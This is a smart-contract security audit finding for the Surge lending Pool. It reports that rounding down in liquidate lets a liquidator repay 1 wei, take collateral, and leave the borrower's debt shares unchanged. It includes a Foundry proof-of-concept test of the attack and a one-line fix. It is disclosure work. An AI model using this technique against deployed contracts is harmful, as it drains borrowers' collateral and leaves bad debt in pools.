Tricko

high

# Debts can be partially liquidated without reducing `debtSharesBalanceOf[borrower]`.

## Summary
On specific circurstances attackers can target debt positions and liquidate them to obtain their collateral without reducing user's debts.

## Vulnerability Detail
Due to `_shares` rounding down in `liquidate`, there are specific circumstances where a liquidator can use the `liquidate` function to repay a small amount of the loan token from a debt position, receive the collateral, but not reduce the user's debt.The code snippet below shows that if `collateralBalance` is greater than `userDebt` and `_debtSharesSupply` is less than `_currentTotalDebt`, passing `_amount == 1` to the liquidate function will result in `collateralReward` being greater than zero and `_shares` being zero. Therefore 1 loan tokens will be paid back to the pool, `collateralReward` collateral tokens will be sent to the liquidator, but `debtSharesBalanceOf[_borrower]` will stay unchanged. Consequently, the liquidator can repeatedly exploit this vulnerability to obtain all the collateral from the debt position, leaving the bad debt in the Pool. See the Proof of Concept section below.

```javascript
} else {
    uint userInvertedCollateralRatioMantissa = collateralBalance * 1e18 / userDebt;
    collateralReward = _amount * userInvertedCollateralRatioMantissa / 1e18; // rounds down
    _shares = tokenToShares(_amount, _currentTotalDebt, _debtSharesSupply, false);
}
_currentTotalDebt -= _amount;

// commit current state
debtSharesBalanceOf[_borrower] -= _shares;
debtSharesSupply = _debtSharesSupply - _shares;
collateralBalanceOf[_borrower] = collateralBalance - collateralReward;
```

## Impact
The consequences of this vulnerability are two-fold. First, attackers can target specific debt positions that fall below the collaterization ratio and obtain the collateral without reducing their debts, resulting in permanent loss of funds for the targeted users. Second, at a protocol level, attackers can exploit this vulnerability to create multiple bad debt positions, which can impact the Pool's functionality over time.


This is probably unfeasible on ETH mainnet due to high gas costs, but probably achievable on the cheaper networks, especially L2. As the project will be deployed on a number of EVM chains (including L2), as stated in the README, this poses a significant risk.

## Proof of Concept
Consider the following scenario
1. Alice borrows some tokens.
Some time passes, Alice's debt position cross the the collaterization ratio limit due to interest.
2. Eve (attacker) calls `liquidate` on Alice with the smallest `_amount` possible.
3. Pool gets paid, Eve receives 1 collateral token, but Alice's debt stays the same.

Run the test below to verify this scenario.
```solidity
pragma solidity 0.8.17;

import "../lib/forge-std/src/Test.sol";
import "../src/Pool.sol";
import "../src/Factory.sol";
import "../src/PoolLens.sol";
import "./mocks/ERC20.sol";

contract PoolTest is Test {
    Factory factory;
    PoolLens lens;
    MockERC20 collateralToken;
    MockERC20 loanToken;
    Pool pool;
    
    uint256 amount;
    address alice;
    address eve;

    function setUp() public {
        lens = new PoolLens();
        collateralToken = new MockERC20(1e36, 18);
        loanToken = new MockERC20(1e36, 18);
        factory = new Factory(address(this), "G");
        pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 0.50e18, 0.8e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
        alice = makeAddr("alice");
        eve = makeAddr("bob");

        amount = 1e18;
        loanToken.transfer(alice, 10*amount);
        collateralToken.transfer(alice, 10*amount);
        loanToken.transfer(eve, 10*amount);
    }

    function testPOC() external {

        //1. Alice borrows from Pool
        vm.startPrank(alice);
        loanToken.approve(address(pool), amount);
        pool.deposit(amount);
        collateralToken.approve(address(pool),amount);
        pool.addCollateral(address(alice), amount);
        pool.borrow(amount/2);
        vm.stopPrank();

        //Enough time passes, so that debt accrued makes Alice collaterization ratio below limit
        //So she can be liquidated
        vm.warp(block.timestamp + 300);

        // Update state and store Alice's debt balance before liquidation
        pool.withdraw(0); 
        uint256 debtBefore = pool.debtSharesBalanceOf(address(alice));

        // Eve perform the attack
        vm.startPrank(eve);
        loanToken.approve(address(pool), amount);
        pool.liquidate(address(alice), 1);
        vm.stopPrank();

        // Update state and store Alice's debt balance after liquidation
        pool.withdraw(0); 
        uint256 debtAfter = pool.debtSharesBalanceOf(address(alice));

        //Alice's collateral balance has been decrease
        assertEq(pool.collateralBalanceOf(address(alice)), amount-1);

        //But her debt stays the same
        assertEq(debtAfter, debtBefore);
    }
}
```

## Code Snippet
https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L553-L609

## Tool used
Manual Review

## Recommendation
Please consider adding a check for `_shares > 0`, as shown in the diff below.

```diff
diff --git a/Pool.sol.orig b/Pool.sol
index 0fb9b27..a3af7db 100644
--- a/Pool.sol.orig
+++ b/Pool.sol
@@ -586,6 +586,7 @@ contract Pool {
             collateralReward = _amount * userInvertedCollateralRatioMantissa / 1e18; // rounds down
             _shares = tokenToShares(_amount, _currentTotalDebt, _debtSharesSupply, false);
         }
+        require(_shares > 0);
         _currentTotalDebt -= _amount;

         // commit current state
```
